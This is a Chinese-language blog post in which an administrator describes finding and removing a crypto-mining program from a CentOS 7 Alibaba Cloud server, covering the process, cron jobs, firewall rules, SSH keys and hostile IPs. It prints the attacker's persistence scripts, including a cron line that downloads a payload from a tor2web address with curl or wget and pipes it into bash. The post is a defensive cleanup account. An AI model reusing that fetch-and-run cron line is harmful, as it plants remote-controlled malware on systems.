記一次阿里雲服務器CPU長期100%發現被被種挖礦程序解決的過程

centos 7

記一次阿里雲服務器被被種挖礦程序解決的過程

1、原因

偶爾發現我的服務器CPU使用率長期處於100%,就登上服務器看了一下

2、查看進程

[root@izwz94xp1kwkcahxd1vey6z /]# top

發現有一個exin的進程cpu使用率高達99%

3、看看是個什麼東西

exin的pid爲3363

[root@izwz94xp1kwkcahxd1vey6z /]# cd /proc/3363
[root@izwz94xp1kwkcahxd1vey6z 3363]# ll

發現是在exe -> /usr/bin/exin目錄下

4、查看防火牆信息

[root@izwz94xp1kwkcahxd1vey6z 3363]# iptables -L -n -v

發現防火牆被篡改增加了很多國外的未知ip

此時其實問題已經找到了,這個進程就是挖礦程序,先kill掉

[root@izwz94xp1kwkcahxd1vey6z 3363]# kill -9 3363

不過一般這種挖礦程序都不會這麼輕易被幹掉的,我們繼續

5、查看ROOT定時任務

[root@izwz94xp1kwkcahxd1vey6z 3363]# crontab -l
MAILTO=''
*/19 * * * * /etc/cron.hourly/agetty >/dev/null 2>&1

果然發現了一條定時任務

可以看到是每隔19分鐘執行一次腳本,腳本的內容在/etc/cron.hourly/agetty。我們跟進查看一下。

6、看看是個什麼東西

[root@izwz94xp1kwkcahxd1vey6z 3363]# cat /etc/cron.hourly/agetty
#!/bin/sh
if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ]; then
nohup /bin/exin >/dev/null 2>&1 &
fi

很明顯這個腳本是檢查exin進程是否還在,如果不在就用nohup繼續在後臺啓動並將標準和錯誤輸出重定向給null,也就是不輸出。

所以只kill掉exin這個進程的話每隔19分鐘還會再啓動。

但是肯定沒那麼簡單,還有其他的定時任務來保證木馬運行。

7、把定時文件幹掉

[root@izwz94xp1kwkcahxd1vey6z 3363]# cd /etc/cron.hourly/
[root@izwz94xp1kwkcahxd1vey6z cron.hourly]#  rm -rf agetty

8、把定時任務清理掉

如果你本身是沒有定時任務的就直接全部清掉

[root@izwz94xp1kwkcahxd1vey6z /]# crontab -r

9、繼續查看其他cron下的腳本

[root@izwz94xp1kwkcahxd1vey6z /]# ll /etc/cron.d
total 12
-rw-r--r-- 1 root root 128 Apr 18 15:00 0hourly
-rw-r--r-- 1 root root 668 Mar 14  2019 spool
-rw------- 1 root root 235 Apr 18 15:00 sysstat

這個spool文件的日期是2019年的,很明顯有問題!

[root@izwz94xp1kwkcahxd1vey6z /]# cat /etc/cron.d/spool
MAILTO=''
*/19 * * * * root if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ];then /bin/exin;fi;(curl --retry 2 --connect-timeout 26 --max-time 75 -fsSLk https://eknr73utr7u7bzwo.tor2web.su/wp-content/ekK9k9Yhtp8Bsul2EmftImLTq1t078ZiP36WCco --user-agent 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'||wget --tries=2 --connect-timeout=26 --timeout=75 --no-check-certificate -qO- https://eknr73utr7u7bzwo.tor2web.su/wp-content/ekK9k9Yhtp8Bsul2EmftImLTq1t078ZiP36WCco --user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36')|/bin/bash >/dev/null 2>&1

意思他一直去檢測系統進程,沒有就會去網上下。

10、刪掉有問題的定時腳本

總結下來共在以下地方發現修改的配置,全部刪除

/dev/shm/swapfile
/bin/config.json
/bin/exin
/etc/cron.d/spool
/etc/crontab
/var/spool/cron/root
/var/spool/mail/root
/etc/cron.hourly/agetty
/usr/bin/unattended-upgrades
/etc/crond
/usr/local/includes
/tmp/systemd-private...

提示權限不夠的,執行chattr就行了

[root@izwz94xp1kwkcahxd1vey6z bin]# rm -rf config.json
rm: cannot remove ‘config.json’: Operation not permitted
[root@izwz94xp1kwkcahxd1vey6z bin]# chattr -ia config.json 
[root@izwz94xp1kwkcahxd1vey6z bin]# rm -rf config.json

11、清理SSH公鑰

[root@izwz94xp1kwkcahxd1vey6z ~]# cd /root/.ssh/
[root@izwz94xp1kwkcahxd1vey6z .ssh]# ll
total 4
-rw------- 1 root root 385 Mar 14  2019 authorized_keys
[root@izwz94xp1kwkcahxd1vey6z .ssh]# rm -rf authorized_keys

12、恢復阿里雲安全程序

wget http://update.aegis.aliyun.com/download/install.sh
chmod 755 install.sh
./install

13、查看網絡連接

[root@izwz94xp1kwkcahxd1vey6z /]# netstat -na

發現很多國外的ip,大概率就是關於挖礦的地址了

14、封禁掉這些IP

這裏其實應該封禁調一些ip段更好

iptables -I INPUT -s 149.56.101.79 -j DROP
iptables -I INPUT -s 198.251.89.118 -j DROP
iptables -I INPUT -s 120.78.159.3 -j DROP
iptables -I INPUT -s 163.172.105.97 -j DROP
iptables -I INPUT -s 193.106.29.66 -j DROP
iptables -I INPUT -s 104.152.52.31 -j DROP
iptables -I INPUT -s 185.130.215.148 -j DROP
iptables -I INPUT -s 163.172.106.112 -j DROP

15、檢查防火牆

也不知道殺乾淨了沒,再觀察觀察吧

有一說一

這些人,真的煩。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章